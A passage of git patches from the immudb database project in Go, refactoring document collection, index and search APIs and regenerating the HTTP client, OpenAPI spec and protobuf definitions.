s.getDBFromCtx(ctx, "DocumentSearch") if err != nil { @@ -240,17 +276,3 @@ func getSearchIDFromRequest(req *protomodel.DocumentSearchRequest) string { return xid.New().String() } - -func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentInsertMany") - if err != nil { - return nil, err - } - - resp, err := db.DocumentInsertMany(ctx, req) - if err != nil { - return nil, err - } - - return resp, nil -} diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 5542688853..9097699dd0 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -128,12 +128,18 @@ func TestPaginationOnReader(t *testing.T) { // create collection collectionName := "mycollection" + _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ Name: collectionName, - IndexKeys: map[string]*protomodel.IndexOption{ - "pincode": {Type: protomodel.IndexType_INTEGER}, - "country": {Type: protomodel.IndexType_STRING}, - "idx": {Type: protomodel.IndexType_INTEGER}, + Fields: []*protomodel.Field{ + {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "idx", Type: protomodel.FieldType_INTEGER}, + }, + Indexes: []*protomodel.Index{ + {Fields: []string{"pincode"}}, + {Fields: []string{"country"}}, + {Fields: []string{"idx"}}, }, }) require.NoError(t, err) @@ -160,18 +166,24 @@ func TestPaginationOnReader(t *testing.T) { } t.Run("test reader for multiple paginated reads", func(t *testing.T) { - results := make([]*structpb.Struct, 0) + results := make([]*protomodel.DocumentAtRevision, 0) var searchID string for i := 1; i <= 4; i++ { resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, - Query: []*protomodel.DocumentQuery{ - { - Field: "pincode", - Operator: protomodel.QueryOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, }, }, }, @@ -186,8 +198,8 @@ func TestPaginationOnReader(t *testing.T) { } for i := 1.0; i <= 20; i++ { - doc := results[int(i-1)] - require.Equal(t, i, doc.Fields["idx"].GetNumberValue()) + docAtRev := results[int(i-1)] + require.Equal(t, i, docAtRev.Document.Fields["idx"].GetNumberValue()) } // ensure there is only one reader in the session for the request and it is being reused @@ -202,12 +214,18 @@ func TestPaginationOnReader(t *testing.T) { t.Run("test reader should throw no more entries when reading more entries", func(t *testing.T) { _, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, - Query: []*protomodel.DocumentQuery{ - { - Field: "pincode", - Operator: protomodel.QueryOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, }, }, }, @@ -225,12 +243,18 @@ func TestPaginationOnReader(t *testing.T) { for i := 1; i <= 3; i++ { resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, - Query: []*protomodel.DocumentQuery{ - { - Field: "pincode", - Operator: protomodel.QueryOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, }, }, }, @@ -245,12 +269,18 @@ func TestPaginationOnReader(t *testing.T) { _, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, - Query: []*protomodel.DocumentQuery{ - { - Field: "pincode", - Operator: protomodel.QueryOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, }, }, }, @@ -293,10 +323,15 @@ func TestPaginationWithoutSearchID(t *testing.T) { collectionName := "mycollection" _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ Name: collectionName, - IndexKeys: map[string]*protomodel.IndexOption{ - "pincode": {Type: protomodel.IndexType_INTEGER}, - "country": {Type: protomodel.IndexType_STRING}, - "idx": {Type: protomodel.IndexType_INTEGER}, + Fields: []*protomodel.Field{ + {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "idx", Type: protomodel.FieldType_INTEGER}, + }, + Indexes: []*protomodel.Index{ + {Fields: []string{"pincode"}}, + {Fields: []string{"country"}}, + {Fields: []string{"idx"}}, }, }) require.NoError(t, err) @@ -329,17 +364,23 @@ func TestPaginationWithoutSearchID(t *testing.T) { sess, err := s.SessManager.GetSession(sessionID) require.NoError(t, err) - results := make([]*structpb.Struct, 0) + results := make([]*protomodel.DocumentAtRevision, 0) for i := 1; i <= 4; i++ { resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, - Query: []*protomodel.DocumentQuery{ - { - Field: "pincode", - Operator: protomodel.QueryOperator_GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, + Query: &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, }, }, }, @@ -352,8 +393,8 @@ func TestPaginationWithoutSearchID(t *testing.T) { } for i := 1.0; i <= 20; i++ { - doc := results[int(i-1)] - require.Equal(t, i, doc.Fields["idx"].GetNumberValue()) + docAtRev := results[int(i-1)] + require.Equal(t, i, docAtRev.Document.Fields["idx"].GetNumberValue()) } require.Equal(t, 4, sess.GetPaginatedDocumentReadersCount()) From 0ed09dc1dc64b9dba0b3c2d79a4ad864a777828f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 1 May 2023 15:43:35 -0300 Subject: [PATCH 0467/1062] chore(pkg/api): re-generated httpclient Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 28 +- pkg/api/httpclient/client.go | 337 ++++++++++++++++++++++++- pkg/database/document_database_test.go | 1 + 3 files changed, 349 insertions(+), 17 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index c9a1161c13..a4c7ce59b7 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -321,11 +321,13 @@ func getTableForCollection(sqlTx *sql.SQLTx, collectionName string) (*sql.Table, } func collectionFromTable(table *sql.Table) *protomodel.Collection { + idFieldName := docIDFieldName(table) + indexes := table.GetIndexes() collection := &protomodel.Collection{ Name: table.Name(), - IdFieldName: docIDFieldName(table), + IdFieldName: idFieldName, Indexes: make([]*protomodel.Index, len(indexes)), } @@ -336,17 +338,21 @@ func collectionFromTable(table *sql.Table) *protomodel.Collection { var colType protomodel.FieldType - switch col.Type() { - case sql.BooleanType: - colType = protomodel.FieldType_BOOLEAN - case sql.VarcharType: + if col.Name() == idFieldName { colType = protomodel.FieldType_STRING - case sql.IntegerType: - colType = protomodel.FieldType_INTEGER - case sql.Float64Type: - colType = protomodel.FieldType_DOUBLE - case sql.BLOBType: - colType = protomodel.FieldType_BLOB + } else { + switch col.Type() { + case sql.BooleanType: + colType = protomodel.FieldType_BOOLEAN + case sql.VarcharType: + colType = protomodel.FieldType_STRING + case sql.IntegerType: + colType = protomodel.FieldType_INTEGER + case sql.Float64Type: + colType = protomodel.FieldType_DOUBLE + case sql.BLOBType: + colType = protomodel.FieldType_BLOB + } } collection.Fields = append(collection.Fields, &protomodel.Field{ diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index a9bfdff69b..9d88117d75 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -67,13 +67,14 @@ type ModelCollection struct { // ModelCollectionCreateRequest defines model for modelCollectionCreateRequest. type ModelCollectionCreateRequest struct { - Collection *ModelCollection `json:"collection,omitempty"` + Fields *[]ModelField `json:"fields,omitempty"` + IdFieldName *string `json:"idFieldName,omitempty"` + Indexes *[]ModelIndex `json:"indexes,omitempty"` + Name *string `json:"name,omitempty"` } // ModelCollectionCreateResponse defines model for modelCollectionCreateResponse. -type ModelCollectionCreateResponse struct { - Collection *ModelCollection `json:"collection,omitempty"` -} +type ModelCollectionCreateResponse = map[string]interface{} // ModelCollectionDeleteResponse defines model for modelCollectionDeleteResponse. type ModelCollectionDeleteResponse = map[string]interface{} @@ -93,7 +94,8 @@ type ModelCollectionListResponse struct { // ModelCollectionUpdateRequest defines model for modelCollectionUpdateRequest. type ModelCollectionUpdateRequest struct { - Collection *ModelCollection `json:"collection,omitempty"` + IdFieldName *string `json:"idFieldName,omitempty"` + Name *string `json:"name,omitempty"` } // ModelCollectionUpdateResponse defines model for modelCollectionUpdateResponse. @@ -160,6 +162,7 @@ type ModelDocumentProofResponse struct { CollectionId *int64 `json:"collectionId,omitempty"` Database *string `json:"database,omitempty"` EncodedDocument *[]byte `json:"encodedDocument,omitempty"` + IdFieldName *string `json:"idFieldName,omitempty"` VerifiableTx *SchemaVerifiableTxV2 `json:"verifiableTx,omitempty"` } @@ -170,11 +173,13 @@ type ModelDocumentSearchRequest struct { Page *int64 `json:"page,omitempty"` PerPage *int64 `json:"perPage,omitempty"` Query *ModelQuery `json:"query,omitempty"` + SearchID *string `json:"searchID,omitempty"` } // ModelDocumentSearchResponse defines model for modelDocumentSearchResponse. type ModelDocumentSearchResponse struct { Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` + SearchID *string `json:"searchID,omitempty"` } // ModelDocumentUpdateRequest defines model for modelDocumentUpdateRequest. @@ -186,7 +191,9 @@ type ModelDocumentUpdateRequest struct { // ModelDocumentUpdateResponse defines model for modelDocumentUpdateResponse. type ModelDocumentUpdateResponse struct { - Revision *ModelDocumentAtRevision `json:"revision,omitempty"` + DocumentId *string `json:"documentId,omitempty"` + Revision *string `json:"revision,omitempty"` + TransactionId *string `json:"transactionId,omitempty"` } // ModelField defines model for modelField. @@ -211,6 +218,24 @@ type ModelIndex struct { IsUnique *bool `json:"isUnique,omitempty"` } +// ModelIndexCreateRequest defines model for modelIndexCreateRequest. +type ModelIndexCreateRequest struct { + Collection *string `json:"collection,omitempty"` + Indexes *[]ModelIndex `json:"indexes,omitempty"` +} + +// ModelIndexCreateResponse defines model for modelIndexCreateResponse. +type ModelIndexCreateResponse = map[string]interface{} + +// ModelIndexDeleteRequest defines model for modelIndexDeleteRequest. +type ModelIndexDeleteRequest struct { + Collection *string `json:"collection,omitempty"` + Indexes *[]ModelIndex `json:"indexes,omitempty"` +} + +// ModelIndexDeleteResponse defines model for modelIndexDeleteResponse. +type ModelIndexDeleteResponse = map[string]interface{} + // ModelKeepAliveRequest defines model for modelKeepAliveRequest. type ModelKeepAliveRequest = map[string]interface{} @@ -490,6 +515,12 @@ type DocumentSearchJSONRequestBody = ModelDocumentSearchRequest // DocumentUpdateJSONRequestBody defines body for DocumentUpdate for application/json ContentType. type DocumentUpdateJSONRequestBody = ModelDocumentUpdateRequest +// IndexCreateJSONRequestBody defines body for IndexCreate for application/json ContentType. +type IndexCreateJSONRequestBody = ModelIndexCreateRequest + +// IndexDeleteJSONRequestBody defines body for IndexDelete for application/json ContentType. +type IndexDeleteJSONRequestBody = ModelIndexDeleteRequest + // Getter for additional properties for ProtobufAny. Returns the specified // element and whether it was found func (a ProtobufAny) Get(fieldName string) (value map[string]interface{}, found bool) { @@ -696,6 +727,16 @@ type ClientInterface interface { DocumentUpdateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) DocumentUpdate(ctx context.Context, body DocumentUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // IndexCreate request with any body + IndexCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + IndexCreate(ctx context.Context, body IndexCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // IndexDelete request with any body + IndexDeleteWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + IndexDelete(ctx context.Context, body IndexDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) } func (c *Client) CloseSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { @@ -1010,6 +1051,54 @@ func (c *Client) DocumentUpdate(ctx context.Context, body DocumentUpdateJSONRequ return c.Client.Do(req) } +func (c *Client) IndexCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewIndexCreateRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) IndexCreate(ctx context.Context, body IndexCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewIndexCreateRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) IndexDeleteWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewIndexDeleteRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) IndexDelete(ctx context.Context, body IndexDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewIndexDeleteRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + // NewCloseSessionRequest calls the generic CloseSession builder with application/json body func NewCloseSessionRequest(server string, body CloseSessionJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader @@ -1584,6 +1673,86 @@ func NewDocumentUpdateRequestWithBody(server string, contentType string, body io return req, nil } +// NewIndexCreateRequest calls the generic IndexCreate builder with application/json body +func NewIndexCreateRequest(server string, body IndexCreateJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewIndexCreateRequestWithBody(server, "application/json", bodyReader) +} + +// NewIndexCreateRequestWithBody generates requests for IndexCreate with any type of body +func NewIndexCreateRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/indexes/create") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("PUT", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewIndexDeleteRequest calls the generic IndexDelete builder with application/json body +func NewIndexDeleteRequest(server string, body IndexDeleteJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewIndexDeleteRequestWithBody(server, "application/json", bodyReader) +} + +// NewIndexDeleteRequestWithBody generates requests for IndexDelete with any type of body +func NewIndexDeleteRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/indexes/delete") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("PUT", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { for _, r := range c.RequestEditors { if err := r(ctx, req); err != nil { @@ -1692,6 +1861,16 @@ type ClientWithResponsesInterface interface { DocumentUpdateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*DocumentUpdateResponse, error) DocumentUpdateWithResponse(ctx context.Context, body DocumentUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*DocumentUpdateResponse, error) + + // IndexCreate request with any body + IndexCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*IndexCreateResponse, error) + + IndexCreateWithResponse(ctx context.Context, body IndexCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*IndexCreateResponse, error) + + // IndexDelete request with any body + IndexDeleteWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*IndexDeleteResponse, error) + + IndexDeleteWithResponse(ctx context.Context, body IndexDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*IndexDeleteResponse, error) } type CloseSessionResponse struct { @@ -2016,6 +2195,52 @@ func (r DocumentUpdateResponse) StatusCode() int { return 0 } +type IndexCreateResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelIndexCreateResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r IndexCreateResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r IndexCreateResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + +type IndexDeleteResponse struct { + Body []byte + HTTPResponse *http.Response + JSON200 *ModelIndexDeleteResponse + JSONDefault *RpcStatus +} + +// Status returns HTTPResponse.Status +func (r IndexDeleteResponse) Status() string { + if r.HTTPResponse != nil { + return r.HTTPResponse.Status + } + return http.StatusText(0) +} + +// StatusCode returns HTTPResponse.StatusCode +func (r IndexDeleteResponse) StatusCode() int { + if r.HTTPResponse != nil { + return r.HTTPResponse.StatusCode + } + return 0 +} + // CloseSessionWithBodyWithResponse request with arbitrary body returning *CloseSessionResponse func (c *ClientWithResponses) CloseSessionWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*CloseSessionResponse, error) { rsp, err := c.CloseSessionWithBody(ctx, contentType, body, reqEditors...) @@ -2238,6 +2463,40 @@ func (c *ClientWithResponses) DocumentUpdateWithResponse(ctx context.Context, bo return ParseDocumentUpdateResponse(rsp) } +// IndexCreateWithBodyWithResponse request with arbitrary body returning *IndexCreateResponse +func (c *ClientWithResponses) IndexCreateWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*IndexCreateResponse, error) { + rsp, err := c.IndexCreateWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseIndexCreateResponse(rsp) +} + +func (c *ClientWithResponses) IndexCreateWithResponse(ctx context.Context, body IndexCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*IndexCreateResponse, error) { + rsp, err := c.IndexCreate(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseIndexCreateResponse(rsp) +} + +// IndexDeleteWithBodyWithResponse request with arbitrary body returning *IndexDeleteResponse +func (c *ClientWithResponses) IndexDeleteWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*IndexDeleteResponse, error) { + rsp, err := c.IndexDeleteWithBody(ctx, contentType, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseIndexDeleteResponse(rsp) +} + +func (c *ClientWithResponses) IndexDeleteWithResponse(ctx context.Context, body IndexDeleteJSONRequestBody, reqEditors ...RequestEditorFn) (*IndexDeleteResponse, error) { + rsp, err := c.IndexDelete(ctx, body, reqEditors...) + if err != nil { + return nil, err + } + return ParseIndexDeleteResponse(rsp) +} + // ParseCloseSessionResponse parses an HTTP response from a CloseSessionWithResponse call func ParseCloseSessionResponse(rsp *http.Response) (*CloseSessionResponse, error) { bodyBytes, err := io.ReadAll(rsp.Body) @@ -2699,3 +2958,69 @@ func ParseDocumentUpdateResponse(rsp *http.Response) (*DocumentUpdateResponse, e return response, nil } + +// ParseIndexCreateResponse parses an HTTP response from a IndexCreateWithResponse call +func ParseIndexCreateResponse(rsp *http.Response) (*IndexCreateResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &IndexCreateResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelIndexCreateResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseIndexDeleteResponse parses an HTTP response from a IndexDeleteWithResponse call +func ParseIndexDeleteResponse(rsp *http.Response) (*IndexDeleteResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &IndexDeleteResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelIndexDeleteResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 411d23bf48..cd7b501357 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -75,6 +75,7 @@ func TestDocumentDB_Collection(t *testing.T) { Name: collectionName, }) require.NoError(t, err) + resp := cinfo.Collection require.Equal(t, 2, len(resp.Fields)) require.Equal(t, resp.Fields[0].Name, "_id") From 8bf28b3cfb82d9c493fba26d355f664047157f73 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 1 May 2023 16:10:30 -0300 Subject: [PATCH 0468/1062] chore(pkg/api): re-generated httpclient Signed-off-by: Jeronimo Irazabal --- Makefile | 2 +- embedded/document/engine.go | 44 +- pkg/api/httpclient/client.go | 9 +- pkg/api/openapi/apidocs.swagger.json | 27 +- pkg/api/proto/documents.proto | 11 +- pkg/api/protomodel/docs.md | 5 +- pkg/api/protomodel/documents.pb.go | 626 ++++++++++++++------------- pkg/database/document_database.go | 20 +- pkg/server/db_dummy_closed.go | 4 +- pkg/server/documents_operations.go | 4 +- swagger/swaggeroverrides.js | 2 +- 11 files changed, 371 insertions(+), 383 deletions(-) diff --git a/Makefile b/Makefile index 31d8d1b098..b8a485a178 100644 --- a/Makefile +++ b/Makefile @@ -204,7 +204,7 @@ build/codegenv2: --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/protomodel \ --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/protomodel \ --doc_out=pkg/api/protomodel --doc_opt=markdown,docs.md \ - --openapiv2_out=allow_merge=true,simple_operation_ids=true:pkg/api/openapi \ + --openapiv2_out=allow_merge=true,simple_operation_ids=true,disable_service_tags=true:pkg/api/openapi \ ./swagger/dist: rm -rf swagger/dist/ diff --git a/embedded/document/engine.go b/embedded/document/engine.go index a4c7ce59b7..cf086c1661 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -447,9 +447,9 @@ func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) er return mayTranslateError(err) } -func (e *Engine) CreateIndexes(ctx context.Context, collectionName string, indexes []*protomodel.Index) error { - if len(indexes) == 0 { - return fmt.Errorf("%w: no index specified", ErrIllegalArguments) +func (e *Engine) CreateIndex(ctx context.Context, collectionName string, fields []string, isUnique bool) error { + if len(fields) == 0 { + return fmt.Errorf("%w: no fields specified", ErrIllegalArguments) } opts := sql.DefaultTxOptions(). @@ -464,22 +464,18 @@ func (e *Engine) CreateIndexes(ctx context.Context, collectionName string, index } defer sqlTx.Cancel() - createIndexStmts := make([]sql.SQLStmt, len(indexes)) - - for i, index := range indexes { - for _, field := range index.Fields { - if field == DocumentBLOBField { - return fmt.Errorf("%w(%s): non-indexable field", ErrReservedFieldName, DocumentBLOBField) - } + for _, field := range fields { + if field == DocumentBLOBField { + return fmt.Errorf("%w(%s): non-indexable field", ErrReservedFieldName, DocumentBLOBField) } - - createIndexStmts[i] = sql.NewCreateIndexStmt(collectionName, index.Fields, index.IsUnique) } + createIndexStmt := sql.NewCreateIndexStmt(collectionName, fields, isUnique) + _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, - createIndexStmts, + []sql.SQLStmt{createIndexStmt}, nil, ) if err != nil { @@ -490,9 +486,9 @@ func (e *Engine) CreateIndexes(ctx context.Context, collectionName string, index return mayTranslateError(err) } -func (e *Engine) DeleteIndexes(ctx context.Context, collectionName string, indexes []*protomodel.Index) error { - if len(indexes) == 0 { - return fmt.Errorf("%w: no index specified", ErrIllegalArguments) +func (e *Engine) DeleteIndex(ctx context.Context, collectionName string, fields []string) error { + if len(fields) == 0 { + return fmt.Errorf("%w: no fields specified", ErrIllegalArguments) } opts := sql.DefaultTxOptions(). @@ -507,22 +503,18 @@ func (e *Engine) DeleteIndexes(ctx context.Context, collectionName string, index } defer sqlTx.Cancel() - createIndexStmts := make([]sql.SQLStmt, len(indexes)) - - for i, index := range indexes { - for _, field := range index.Fields { - if field == DocumentBLOBField { - return ErrFieldDoesNotExist - } + for _, field := range fields { + if field == DocumentBLOBField { + return ErrFieldDoesNotExist } - - createIndexStmts[i] = sql.NewDropIndexStmt(collectionName, index.Fields) } + createIndexStmt := sql.NewDropIndexStmt(collectionName, fields) + _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, - createIndexStmts, + []sql.SQLStmt{createIndexStmt}, nil, ) if err != nil { diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 9d88117d75..3c8267ac9d 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -220,8 +220,9 @@ type ModelIndex struct { // ModelIndexCreateRequest defines model for modelIndexCreateRequest. type ModelIndexCreateRequest struct { - Collection *string `json:"collection,omitempty"` - Indexes *[]ModelIndex `json:"indexes,omitempty"` + Collection *string `json:"collection,omitempty"` + Fields *[]string `json:"fields,omitempty"` + IsUnique *bool `json:"isUnique,omitempty"` } // ModelIndexCreateResponse defines model for modelIndexCreateResponse. @@ -229,8 +230,8 @@ type ModelIndexCreateResponse = map[string]interface{} // ModelIndexDeleteRequest defines model for modelIndexDeleteRequest. type ModelIndexDeleteRequest struct { - Collection *string `json:"collection,omitempty"` - Indexes *[]ModelIndex `json:"indexes,omitempty"` + Collection *string `json:"collection,omitempty"` + Fields *[]string `json:"fields,omitempty"` } // ModelIndexDeleteResponse defines model for modelIndexDeleteResponse. diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 754e63b295..04eda1745f 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -5,14 +5,6 @@ "description": "Authorization API", "version": "version not set" }, - "tags": [ - { - "name": "AuthorizationService" - }, - { - "name": "DocumentService" - } - ], "basePath": "/api/v2", "consumes": [ "application/json" @@ -301,8 +293,7 @@ } ], "tags": [ - "documents", - "audit" + "documents" ] } }, @@ -398,8 +389,7 @@ } ], "tags": [ - "documents", - "audit" + "documents" ] } }, @@ -945,12 +935,14 @@ "collection": { "type": "string" }, - "indexes": { + "fields": { "type": "array", "items": { - "type": "object", - "$ref": "#/definitions/modelIndex" + "type": "string" } + }, + "isUnique": { + "type": "boolean" } } }, @@ -963,11 +955,10 @@ "collection": { "type": "string" }, - "indexes": { + "fields": { "type": "array", "items": { - "type": "object", - "$ref": "#/definitions/modelIndex" + "type": "string" } } } diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 0401857cee..14c3cdc355 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -111,14 +111,15 @@ message CollectionUpdateResponse {} message IndexCreateRequest { string collection = 1; - repeated Index indexes = 2; + repeated string fields = 2; + bool isUnique = 3; } message IndexCreateResponse {} message IndexDeleteRequest { string collection = 1; - repeated Index indexes = 2; + repeated string fields = 2; } message IndexDeleteResponse {} @@ -344,8 +345,7 @@ service DocumentService { }; option 